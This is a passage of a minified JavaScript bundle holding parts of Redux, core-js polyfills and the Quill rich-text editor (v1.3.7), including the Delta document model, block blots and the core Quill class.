for the full message or use the non-minified dev environment for full errors. "}var l="function"==typeof Symbol&&Symbol.observable||"@@observable",s=function(){return Math.random().toString(36).substring(7).split("").join(".")},u={INIT:"@@redux/INIT"+s(),REPLACE:"@@redux/REPLACE"+s(),PROBE_UNKNOWN_ACTION:function(){return"@@redux/PROBE_UNKNOWN_ACTION"+s()}};function c(e){if("object"!=typeof e||null===e)return!1;for(var t=e;null!==Object.getPrototypeOf(t);)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t}function f(e,t,n){var r;if("function"==typeof t&&"function"==typeof n||"function"==typeof n&&"function"==typeof arguments[3])throw new Error(a(0));if("function"==typeof t&&void 0===n&&(n=t,t=void 0),void 0!==n){if("function"!=typeof n)throw new Error(a(1));return n(f)(e,t)}if("function"!=typeof e)throw new Error(a(2));var o=e,i=t,s=[],d=s,p=!1;function h(){d===s&&(d=s.slice())}function m(){if(p)throw new Error(a(3));return i}function g(e){if("function"!=typeof e)throw new Error(a(4));if(p)throw new Error(a(5));var t=!0;return h(),d.push(e),function(){if(t){if(p)throw new Error(a(6));t=!1,h();var n=d.indexOf(e);d.splice(n,1),s=null}}}function v(e){if(!c(e))throw new Error(a(7));if(void 0===e.type)throw new Error(a(8));if(p)throw new Error(a(9));try{p=!0,i=o(i,e)}finally{p=!1}for(var t=s=d,n=0;n<t.length;n++){(0,t[n])()}return e}function y(e){if("function"!=typeof e)throw new Error(a(10));o=e,v({type:u.REPLACE})}function b(){var e,t=g;return(e={subscribe:function(e){if("object"!=typeof e||null===e)throw new Error(a(11));function n(){e.next&&e.next(m())}return n(),{unsubscribe:t(n)}}})[l]=function(){return this},e}return v({type:u.INIT}),(r={dispatch:v,subscribe:g,getState:m,replaceReducer:y})[l]=b,r}function d(e){for(var t=Object.keys(e),n={},r=0;r<t.length;r++){var o=t[r];0,"function"==typeof e[o]&&(n[o]=e[o])}var i,l=Object.keys(n);try{!function(e){Object.keys(e).forEach((function(t){var n=e[t];if(void 0===n(void 0,{type:u.INIT}))throw new Error(a(12));if(void 0===n(void 0,{type:u.PROBE_UNKNOWN_ACTION()}))throw new Error(a(13))}))}(n)}catch(e){i=e}return function(e,t){if(void 0===e&&(e={}),i)throw i;for(var r=!1,o={},s=0;s<l.length;s++){var u=l[s],c=n[u],f=e[u],d=c(f,t);if(void 0===d){t&&t.type;throw new Error(a(14))}o[u]=d,r=r||d!==f}return(r=r||l.length!==Object.keys(e).length)?o:e}}function p(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return 0===t.length?function(e){return e}:1===t.length?t[0]:t.reduce((function(e,t){return function(){return e(t.apply(void 0,arguments))}}))}function h(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return function(e){return function(){var n=e.apply(void 0,arguments),r=function(){throw new Error(a(15))},o={getState:n.getState,dispatch:function(){return r.apply(void 0,arguments)}},l=t.map((function(e){return e(o)}));return r=p.apply(void 0,l)(n.dispatch),i(i({},n),{},{dispatch:r})}}}},function(e,t,n){var r=n(11),o=r({}.toString),i=r("".slice);e.exports=function(e){return i(o(e),8,-1)}},function(e,t,n){var r=n(11);e.exports=r({}.isPrototypeOf)},function(e,t,n){var r,o=n(15),i=n(163),a=n(161),l=n(102),s=n(220),u=n(125),c=n(127),f=c("IE_PROTO"),d=function(){},p=function(e){return"<script>"+e+"<\/script>"},h=function(e){e.write(p("")),e.close();var t=e.parentWindow.Object;return e=null,t},m=function(){try{r=new ActiveXObject("htmlfile")}catch(e){}var e,t;m="undefined"!=typeof document?document.domain&&r?h(r):((t=u("iframe")).style.display="none",s.appendChild(t),t.src=String("javascript:"),(e=t.contentWindow.document).open(),e.write(p("document.F=Object")),e.close(),e.F):h(r);for(var n=a.length;n--;)delete m.prototype[a[n]];return m()};l[f]=!0,e.exports=Object.create||function(e,t){var n;return null!==e?(d.prototype=o(e),n=new d,d.prototype=null,n[f]=e):n=m(),void 0===t?n:i.f(n,t)}},function(e,t,n){var r=n(11),o=n(37),i=n(99),a=r(r.bind);e.exports=function(e,t){return o(e),void 0===t?e:i?a(e,t):function(){return e.apply(t,arguments)}}},function(e,t,n){var r=n(99),o=Function.prototype,i=o.apply,a=o.call;e.exports="object"==typeof Reflect&&Reflect.apply||(r?a.bind(i):function(){return a.apply(i,arguments)})},function(e,t,n){(function(t){
/*!
* Quill Editor v1.3.7
* https://quilljs.com/
* Copyright (c) 2014, Jason Chen
* Copyright (c) 2013, salesforce.com
*/
var n;"undefined"!=typeof self&&self,n=function(){return function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)||Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:r})},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=109)}([function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r=n(17),o=n(18),i=n(19),a=n(45),l=n(46),s=n(47),u=n(48),c=n(49),f=n(12),d=n(32),p=n(33),h=n(31),m=n(1),g={Scope:m.Scope,create:m.create,find:m.find,query:m.query,register:m.register,Container:r.default,Format:o.default,Leaf:i.default,Embed:u.default,Scroll:a.default,Block:s.default,Inline:l.default,Text:c.default,Attributor:{Attribute:f.default,Class:d.default,Style:p.default,Store:h.default}};t.default=g},function(e,t,n){"use strict";var r,o=this&&this.__extends||(r=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)});Object.defineProperty(t,"__esModule",{value:!0});var i=function(e){function t(t){var n=this;return t="[Parchment] "+t,(n=e.call(this,t)||this).message=t,n.name=n.constructor.name,n}return o(t,e),t}(Error);t.ParchmentError=i;var a,l={},s={},u={},c={};function f(e,t){var n;if(void 0===t&&(t=a.ANY),"string"==typeof e)n=c[e]||l[e];else if(e instanceof Text||e.nodeType===Node.TEXT_NODE)n=c.text;else if("number"==typeof e)e&a.LEVEL&a.BLOCK?n=c.block:e&a.LEVEL&a.INLINE&&(n=c.inline);else if(e instanceof HTMLElement){var r=(e.getAttribute("class")||"").split(/\s+/);for(var o in r)if(n=s[r[o]])break;n=n||u[e.tagName]}return null==n?null:t&a.LEVEL&n.scope&&t&a.TYPE&n.scope?n:null}t.DATA_KEY="__blot",function(e){e[e.TYPE=3]="TYPE",e[e.LEVEL=12]="LEVEL",e[e.ATTRIBUTE=13]="ATTRIBUTE",e[e.BLOT=14]="BLOT",e[e.INLINE=7]="INLINE",e[e.BLOCK=11]="BLOCK",e[e.BLOCK_BLOT=10]="BLOCK_BLOT",e[e.INLINE_BLOT=6]="INLINE_BLOT",e[e.BLOCK_ATTRIBUTE=9]="BLOCK_ATTRIBUTE",e[e.INLINE_ATTRIBUTE=5]="INLINE_ATTRIBUTE",e[e.ANY=15]="ANY"}(a=t.Scope||(t.Scope={})),t.create=function(e,t){var n=f(e);if(null==n)throw new i("Unable to create "+e+" blot");var r=n,o=e instanceof Node||e.nodeType===Node.TEXT_NODE?e:r.create(t);return new r(o,t)},t.find=function e(n,r){return void 0===r&&(r=!1),null==n?null:null!=n[t.DATA_KEY]?n[t.DATA_KEY].blot:r?e(n.parentNode,r):null},t.query=f,t.register=function e(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];if(t.length>1)return t.map((function(t){return e(t)}));var r=t[0];if("string"!=typeof r.blotName&&"string"!=typeof r.attrName)throw new i("Invalid definition");if("abstract"===r.blotName)throw new i("Cannot register abstract class");if(c[r.blotName||r.attrName]=r,"string"==typeof r.keyName)l[r.keyName]=r;else if(null!=r.className&&(s[r.className]=r),null!=r.tagName){Array.isArray(r.tagName)?r.tagName=r.tagName.map((function(e){return e.toUpperCase()})):r.tagName=r.tagName.toUpperCase();var o=Array.isArray(r.tagName)?r.tagName:[r.tagName];o.forEach((function(e){null!=u[e]&&null!=r.className||(u[e]=r)}))}return r}},function(e,t,n){var r=n(51),o=n(11),i=n(3),a=n(20),l=String.fromCharCode(0),s=function(e){Array.isArray(e)?this.ops=e:null!=e&&Array.isArray(e.ops)?this.ops=e.ops:this.ops=[]};s.prototype.insert=function(e,t){var n={};return 0===e.length?this:(n.insert=e,null!=t&&"object"==typeof t&&Object.keys(t).length>0&&(n.attributes=t),this.push(n))},s.prototype.delete=function(e){return e<=0?this:this.push({delete:e})},s.prototype.retain=function(e,t){if(e<=0)return this;var n={retain:e};return null!=t&&"object"==typeof t&&Object.keys(t).length>0&&(n.attributes=t),this.push(n)},s.prototype.push=function(e){var t=this.ops.length,n=this.ops[t-1];if(e=i(!0,{},e),"object"==typeof n){if("number"==typeof e.delete&&"number"==typeof n.delete)return this.ops[t-1]={delete:n.delete+e.delete},this;if("number"==typeof n.delete&&null!=e.insert&&(t-=1,"object"!=typeof(n=this.ops[t-1])))return this.ops.unshift(e),this;if(o(e.attributes,n.attributes)){if("string"==typeof e.insert&&"string"==typeof n.insert)return this.ops[t-1]={insert:n.insert+e.insert},"object"==typeof e.attributes&&(this.ops[t-1].attributes=e.attributes),this;if("number"==typeof e.retain&&"number"==typeof n.retain)return this.ops[t-1]={retain:n.retain+e.retain},"object"==typeof e.attributes&&(this.ops[t-1].attributes=e.attributes),this}}return t===this.ops.length?this.ops.push(e):this.ops.splice(t,0,e),this},s.prototype.chop=function(){var e=this.ops[this.ops.length-1];return e&&e.retain&&!e.attributes&&this.ops.pop(),this},s.prototype.filter=function(e){return this.ops.filter(e)},s.prototype.forEach=function(e){this.ops.forEach(e)},s.prototype.map=function(e){return this.ops.map(e)},s.prototype.partition=function(e){var t=[],n=[];return this.forEach((function(r){(e(r)?t:n).push(r)})),[t,n]},s.prototype.reduce=function(e,t){return this.ops.reduce(e,t)},s.prototype.changeLength=function(){return this.reduce((function(e,t){return t.insert?e+a.length(t):t.delete?e-t.delete:e}),0)},s.prototype.length=function(){return this.reduce((function(e,t){return e+a.length(t)}),0)},s.prototype.slice=function(e,t){e=e||0,"number"!=typeof t&&(t=1/0);for(var n=[],r=a.iterator(this.ops),o=0;o<t&&r.hasNext();){var i;o<e?i=r.next(e-o):(i=r.next(t-o),n.push(i)),o+=a.length(i)}return new s(n)},s.prototype.compose=function(e){var t=a.iterator(this.ops),n=a.iterator(e.ops),r=[],i=n.peek();if(null!=i&&"number"==typeof i.retain&&null==i.attributes){for(var l=i.retain;"insert"===t.peekType()&&t.peekLength()<=l;)l-=t.peekLength(),r.push(t.next());i.retain-l>0&&n.next(i.retain-l)}for(var u=new s(r);t.hasNext()||n.hasNext();)if("insert"===n.peekType())u.push(n.next());else if("delete"===t.peekType())u.push(t.next());else{var c=Math.min(t.peekLength(),n.peekLength()),f=t.next(c),d=n.next(c);if("number"==typeof d.retain){var p={};"number"==typeof f.retain?p.retain=c:p.insert=f.insert;var h=a.attributes.compose(f.attributes,d.attributes,"number"==typeof f.retain);if(h&&(p.attributes=h),u.push(p),!n.hasNext()&&o(u.ops[u.ops.length-1],p)){var m=new s(t.rest());return u.concat(m).chop()}}else"number"==typeof d.delete&&"number"==typeof f.retain&&u.push(d)}return u.chop()},s.prototype.concat=function(e){var t=new s(this.ops.slice());return e.ops.length>0&&(t.push(e.ops[0]),t.ops=t.ops.concat(e.ops.slice(1))),t},s.prototype.diff=function(e,t){if(this.ops===e.ops)return new s;var n=[this,e].map((function(t){return t.map((function(n){if(null!=n.insert)return"string"==typeof n.insert?n.insert:l;throw new Error("diff() called "+(t===e?"on":"with")+" non-document")})).join("")})),i=new s,u=r(n[0],n[1],t),c=a.iterator(this.ops),f=a.iterator(e.ops);return u.forEach((function(e){for(var t=e[1].length;t>0;){var n=0;switch(e[0]){case r.INSERT:n=Math.min(f.peekLength(),t),i.push(f.next(n));break;case r.DELETE:n=Math.min(t,c.peekLength()),c.next(n),i.delete(n);break;case r.EQUAL:n=Math.min(c.peekLength(),f.peekLength(),t);var l=c.next(n),s=f.next(n);o(l.insert,s.insert)?i.retain(n,a.attributes.diff(l.attributes,s.attributes)):i.push(s).delete(n)}t-=n}})),i.chop()},s.prototype.eachLine=function(e,t){t=t||"\n";for(var n=a.iterator(this.ops),r=new s,o=0;n.hasNext();){if("insert"!==n.peekType())return;var i=n.peek(),l=a.length(i)-n.peekLength(),u="string"==typeof i.insert?i.insert.indexOf(t,l)-l:-1;if(u<0)r.push(n.next());else if(u>0)r.push(n.next(u));else{if(!1===e(r,n.next(1).attributes||{},o))return;o+=1,r=new s}}r.length()>0&&e(r,{},o)},s.prototype.transform=function(e,t){if(t=!!t,"number"==typeof e)return this.transformPosition(e,t);for(var n=a.iterator(this.ops),r=a.iterator(e.ops),o=new s;n.hasNext()||r.hasNext();)if("insert"!==n.peekType()||!t&&"insert"===r.peekType())if("insert"===r.peekType())o.push(r.next());else{var i=Math.min(n.peekLength(),r.peekLength()),l=n.next(i),u=r.next(i);if(l.delete)continue;u.delete?o.push(u):o.retain(i,a.attributes.transform(l.attributes,u.attributes,t))}else o.retain(a.length(n.next()));return o.chop()},s.prototype.transformPosition=function(e,t){t=!!t;for(var n=a.iterator(this.ops),r=0;n.hasNext()&&r<=e;){var o=n.peekLength(),i=n.peekType();n.next(),"delete"!==i?("insert"===i&&(r<e||!t)&&(e+=o),r+=o):e-=Math.min(o,e-r)}return e},e.exports=s},function(e,t){"use strict";var n=Object.prototype.hasOwnProperty,r=Object.prototype.toString,o=Object.defineProperty,i=Object.getOwnPropertyDescriptor,a=function(e){return"function"==typeof Array.isArray?Array.isArray(e):"[object Array]"===r.call(e)},l=function(e){if(!e||"[object Object]"!==r.call(e))return!1;var t,o=n.call(e,"constructor"),i=e.constructor&&e.constructor.prototype&&n.call(e.constructor.prototype,"isPrototypeOf");if(e.constructor&&!o&&!i)return!1;for(t in e);return void 0===t||n.call(e,t)},s=function(e,t){o&&"__proto__"===t.name?o(e,t.name,{enumerable:!0,configurable:!0,value:t.newValue,writable:!0}):e[t.name]=t.newValue},u=function(e,t){if("__proto__"===t){if(!n.call(e,t))return;if(i)return i(e,t).value}return e[t]};e.exports=function e(){var t,n,r,o,i,c,f=arguments[0],d=1,p=arguments.length,h=!1;for("boolean"==typeof f&&(h=f,f=arguments[1]||{},d=2),(null==f||"object"!=typeof f&&"function"!=typeof f)&&(f={});d<p;++d)if(null!=(t=arguments[d]))for(n in t)r=u(f,n),f!==(o=u(t,n))&&(h&&o&&(l(o)||(i=a(o)))?(i?(i=!1,c=r&&a(r)?r:[]):c=r&&l(r)?r:{},s(f,{name:n,newValue:e(h,c,o)})):void 0!==o&&s(f,{name:n,newValue:o}));return f}},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.BlockEmbed=t.bubbleFormats=void 0;var r=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}(),o=function e(t,n,r){null===t&&(t=Function.prototype);var o=Object.getOwnPropertyDescriptor(t,n);if(void 0===o){var i=Object.getPrototypeOf(t);return null===i?void 0:e(i,n,r)}if("value"in o)return o.value;var a=o.get;return void 0!==a?a.call(r):void 0},i=f(n(3)),a=f(n(2)),l=f(n(0)),s=f(n(16)),u=f(n(6)),c=f(n(7));function f(e){return e&&e.__esModule?e:{default:e}}function d(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function p(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}function h(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}var m=function(e){function t(){return d(this,t),p(this,(t.__proto__||Object.getPrototypeOf(t)).apply(this,arguments))}return h(t,e),r(t,[{key:"attach",value:function(){o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"attach",this).call(this),this.attributes=new l.default.Attributor.Store(this.domNode)}},{key:"delta",value:function(){return(new a.default).insert(this.value(),(0,i.default)(this.formats(),this.attributes.values()))}},{key:"format",value:function(e,t){var n=l.default.query(e,l.default.Scope.BLOCK_ATTRIBUTE);null!=n&&this.attributes.attribute(n,t)}},{key:"formatAt",value:function(e,t,n,r){this.format(n,r)}},{key:"insertAt",value:function(e,n,r){if("string"==typeof n&&n.endsWith("\n")){var i=l.default.create(g.blotName);this.parent.insertBefore(i,0===e?this:this.next),i.insertAt(0,n.slice(0,-1))}else o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"insertAt",this).call(this,e,n,r)}}]),t}(l.default.Embed);m.scope=l.default.Scope.BLOCK_BLOT;var g=function(e){function t(e){d(this,t);var n=p(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.cache={},n}return h(t,e),r(t,[{key:"delta",value:function(){return null==this.cache.delta&&(this.cache.delta=this.descendants(l.default.Leaf).reduce((function(e,t){return 0===t.length()?e:e.insert(t.value(),v(t))}),new a.default).insert("\n",v(this))),this.cache.delta}},{key:"deleteAt",value:function(e,n){o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"deleteAt",this).call(this,e,n),this.cache={}}},{key:"formatAt",value:function(e,n,r,i){n<=0||(l.default.query(r,l.default.Scope.BLOCK)?e+n===this.length()&&this.format(r,i):o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"formatAt",this).call(this,e,Math.min(n,this.length()-e-1),r,i),this.cache={})}},{key:"insertAt",value:function(e,n,r){if(null!=r)return o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"insertAt",this).call(this,e,n,r);if(0!==n.length){var i=n.split("\n"),a=i.shift();a.length>0&&(e<this.length()-1||null==this.children.tail?o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"insertAt",this).call(this,Math.min(e,this.length()-1),a):this.children.tail.insertAt(this.children.tail.length(),a),this.cache={});var l=this;i.reduce((function(e,t){return(l=l.split(e,!0)).insertAt(0,t),t.length}),e+a.length)}}},{key:"insertBefore",value:function(e,n){var r=this.children.head;o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"insertBefore",this).call(this,e,n),r instanceof s.default&&r.remove(),this.cache={}}},{key:"length",value:function(){return null==this.cache.length&&(this.cache.length=o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"length",this).call(this)+1),this.cache.length}},{key:"moveChildren",value:function(e,n){o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"moveChildren",this).call(this,e,n),this.cache={}}},{key:"optimize",value:function(e){o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"optimize",this).call(this,e),this.cache={}}},{key:"path",value:function(e){return o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"path",this).call(this,e,!0)}},{key:"removeChild",value:function(e){o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"removeChild",this).call(this,e),this.cache={}}},{key:"split",value:function(e){var n=arguments.length>1&&void 0!==arguments[1]&&arguments[1];if(n&&(0===e||e>=this.length()-1)){var r=this.clone();return 0===e?(this.parent.insertBefore(r,this),this):(this.parent.insertBefore(r,this.next),r)}var i=o(t.prototype.__proto__||Object.getPrototypeOf(t.prototype),"split",this).call(this,e,n);return this.cache={},i}}]),t}(l.default.Block);function v(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return null==e?t:("function"==typeof e.formats&&(t=(0,i.default)(t,e.formats())),null==e.parent||"scroll"==e.parent.blotName||e.parent.statics.scope!==e.statics.scope?t:v(e.parent,t))}g.blotName="block",g.tagName="P",g.defaultChild="break",g.allowedChildren=[u.default,l.default.Embed,c.default],t.bubbleFormats=v,t.BlockEmbed=m,t.default=g},function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.overload=t.expandConfig=void 0;var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},o=function(e,t){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return function(e,t){var n=[],r=!0,o=!1,i=void 0;try{for(var a,l=e[Symbol.iterator]();!(r=(a=l.next()).done)&&(n.push(a.value),!t||n.length!==t);r=!0);}catch(e){o=!0,i=e}finally{try{!r&&l.return&&l.return()}finally{if(o)throw i}}return n}(e,t);throw new TypeError("Invalid attempt to destructure non-iterable instance")},i=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();n(50);var a=g(n(2)),l=g(n(14)),s=g(n(8)),u=g(n(9)),c=g(n(0)),f=n(15),d=g(f),p=g(n(3)),h=g(n(10)),m=g(n(34));function g(e){return e&&e.__esModule?e:{default:e}}function v(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function y(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}var b=(0,h.default)("quill"),w=function(){function e(t){var n=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};if(y(this,e),this.options=E(t,r),this.container=this.options.container,null==this.container)return b.error("Invalid Quill container",t);this.options.debug&&e.debug(this.options.debug);var o=this.container.innerHTML.trim();this.container.classList.add("ql-container"),this.container.innerHTML="",this.container.__quill=this,this.root=this.addContainer("ql-editor"),this.root.classList.add("ql-blank"),this.root.setAttribute("data-gramm",!1),this.scrollingContainer=this.options.scrollingContainer||this.root,this.emitter=new s.default,this.scroll=c.default.create(this.root,{emitter:this.emitter,whitelist:this.options.formats}),this.editor=new l.default(this.scroll),this.selection=new d.default(this.scroll,this.emitter),this.theme=new this.options.theme(this,this.options),this.keyboard=this.theme.addModule("keyboard"),this.clipboard=this.theme.addModule("clipboard"),this.history=this.theme.addModule("history"),this.theme.init(),this.emitter.on(s.default.events.EDITOR_CHANGE,(function(e){e===s.default.events.TEXT_CHANGE&&n.root.classList.toggle("ql-blank",n.editor.isBlank())})),this.emitter.on(s.default.events.SCROLL_UPDATE,(function(e,t){var r=n.selection.lastRange,o=r&&0===r.length?r.index:void 0;S.call(n,(function(){return n.editor.update(null,t,o)}),e)}));var i=this.clipboard.convert("<div class='ql-editor' style=\"white-space: normal;\">"+o+"<p><br></p></div>");this.setContents(i),this.history.clear(),this.options.placeholder&&this.root.setAttribute("data-placeholder",this.options.placeholder),this.options.readOnly&&this.disable()}return i(e,null,[{key:"debug",value:function(e){!0===e&&(e="log"),h.default.level(e)}},{key:"find",value:function(e){return e.__quill||c.default.find(e)}},{key:"import",value:function(e){return null==this.imports[e]&&b.error("Cannot import "+e+". Are you sure it was registered?"),this.imports[e]}},{key:"register",value:function(e,t){var n=this,r=arguments.length>2&&void 0!==arguments[2]&&arguments[2];if("string"!=typeof e){var o=e.attrName||e.blotName;"string"==typeof o?this.register("formats/"+o,e,t):Object.keys(e).forEach((function(r){n.register(r,e[r],t)}))}else null==this.imports[e]||r||b.warn("Overwriting "+e+" with",t),this.imports[e]=t,(e.startsWith("blots/")||e.startsWith("formats/"))&&"abstract"!==t.blotName?c.default.register(t):e.startsWith("modules")&&"function"==typeof t.register&&t.register()}}]),i(e,[{key:"addContainer",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if("string"==typeof e){var n=e;(e=document.createElement("div")).classList.add(n)}return this.container.insertBefore(e,t),e}},{key:"blur",value:function(){this.selection.setRange(null)}},{key:"deleteText",value:function(e,t,n){var r=this,i=C(e,t,n),a=o(i,4);return e=a[0],t=a[1],n=a[3],S.call(this,(function(){return r.editor.deleteText(e,t)}),n,e,-1*t)}},{key:"disable",value:function(){this.enable(!1)}},{key:"enable",value:function(){var e=!(arguments.length>0&&void 0!==arguments[0])||arguments[0];this.scroll.enable(e),this.container.classList.toggle("ql-disabled",!e)}},{key:"focus",value:function(){var e=this.scrollingContainer.scrollTop;this.selection.focus(),this.scrollingContainer.scrollTop=e,this.scrollIntoView()}},{key:"format",value:function(e,t){var n=this,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:s.default.sources.API;return S.call(this,(function(){var r=n.getSelection(!0),o=new a.default;if(null==r)return o;if(c.default.query(e,c.default.Scope.BLOCK))o=n.editor.formatLine(r.index,r.length,v({},e,t));else{if(0===r.length)return n.selection.format(e,t),o;o=n.editor.formatText(r.index,r.length,v({},e,t))}return n.setSelection(r,s.default.sources.SILENT),o}),r)}},{key:"formatLine",value:function(e,t,n,r,i){var a,l=this,s=C(e,t,n,r,i),u=o(s,4);return e=u[0],t=u[1],a=u[2],i=u[3],S.call(this,(function(){return l.editor.formatLine(e,t,a)}),i,e,0)}},{key:"formatText",value:function(e,t,n,r,i){var a,l=this,s=C(e,t,n,r,i),u=o(s,4);return e=u[0],t=u[1],a=u[2],i=u[3],S.call(this,(function(){return l.editor.formatText(e,t,a)}),i,e,0)}},{key:"getBounds",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=void 0;n="number"==typeof e?this.selection.getBounds(e,t):this.selection.getBounds(e.index,e.length);var r=this.container.getBoundingClientRect();return{bottom:n.bottom-r.top,height:n.height,left:n.left-r.left,right:n.right-r.left,top:n.top-r.top,width:n.width}}},{key:"getContents",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.getLength()-e,n=C(e,t),r=o(n,2);return e=r[0],t=r[1],this.editor.getContents(e,t)}},{key:"getFormat",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:this.getSelection(!0),t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0;return"number"==typeof e?this.editor.getFormat(e,t):this.editor.getFormat(e.index,e.length)}},{key:"getIndex",value:function(e){return e.offset(this.scroll)}},{key:"getLength",value:function(){return this.scroll.length()}},{key:"getLeaf",value:function(e){return this.scroll.leaf(e)}},{key:"getLine",value:function(e){return this.scroll.line(e)}},{key:"getLines",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Number.MAX_VALUE;return"number"!=typeof e?this.scroll.lines(e.index,e.length):this.scroll.lines(e,t)}},{key:"getModule",value:function(e){return this.theme.modules[e]}},{key:"getSelection",value:function(){var e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];return e&&this.focus(),this.update(),this.selection.getRange()[0]}},{key:"getText",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:this.getLength()-e,n=C(e,t),r=o(n,2);return e=r[0],t=r[1],this.editor.getText(e,t)}},{key:"hasFocus",value:function(){return this.selection.hasFocus()}},{key:"insertEmbed",value:function(t,n,r){var o=this,i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:e.sources.API;return S.call(this,(function(){return o.editor.insertEmbed(t,n,r)}),i,t)}},{key:"insertText",value:function(e,t,n,r,i){var a,l=this,s=C(e,0,n,r,i),u=o(s,4);return e=u[0],a=u[2],i=u[3],S.call(this,(function(){return l.editor.insertText(e,t,a)}),i,e,t.length)}},{key:"isEnabled",value:function(){return!this.container.classList.contains("ql-disabled")}},{key:"off",value:function(){return this.emitter.off.apply(this.emitter,arguments)}},{key:"on",value:function(){return this.emitter.on.apply(this.emitter,arguments)}},{key:"once",value:function(){return this.emitter.once.apply(this.emitter,arguments)}},{key:"pasteHTML",value:function(e,t,n){this.clipboard.dangerouslyPasteHTML(e,t,n)}},{key:"removeFormat",value:function(e,t,n){var r=this,i=C(e,t,n),a=o(i,4);return e=a[0],t=a[1],n=a[3],S.call(this,(function(){return r.editor.removeFormat(e,t)}),n,e)}},{key:"scrollIntoView",value:function(){this.selection.scrollIntoView(this.scrollingContainer)}},{key:"setContents",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:s.default.sources.API;return S.call(this,(function(){e=new a.default(e);var n=t.getLength(),r=t.editor.deleteText(0,n),o=t.editor.applyDelta(e),i=o.ops[o.ops.length-1];return null!=i&&"string"==typeof i.insert&&"\n"===i.insert[i.insert.length-1]&&(t.editor.deleteText(t.getLength()-1,1),o.delete(1)),r.compose(o)}),n)}},{key:"setSelection",value:function(t,n,r){if(null==t)this.selection.setRange(null,n||e.sources.API);else{var i=C(t,n,r),a=o(i,4);t=a[0],n=a[1],r=a[3],this.selection.setRange(new f.Range(t,n),r),r!==s.default.sources.SILENT&&this.selection.scrollIntoView(this.scrollingContainer)}}},{key:"setText",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:s.default.sources.API,n=(new a.default).insert(e);return this.setContents(n,t)}},{key:"update",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:s.default.sources.USER,t=this.scroll.update(e);return this.selection.update(e),t}},{key:"updateContents",value:function(e){var t=this,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:s.default.sources.API;return S.call(this,(function(){return e=new a.default(e),t.editor.applyDelta(e,n)}),n,!0)}}]),e}();function 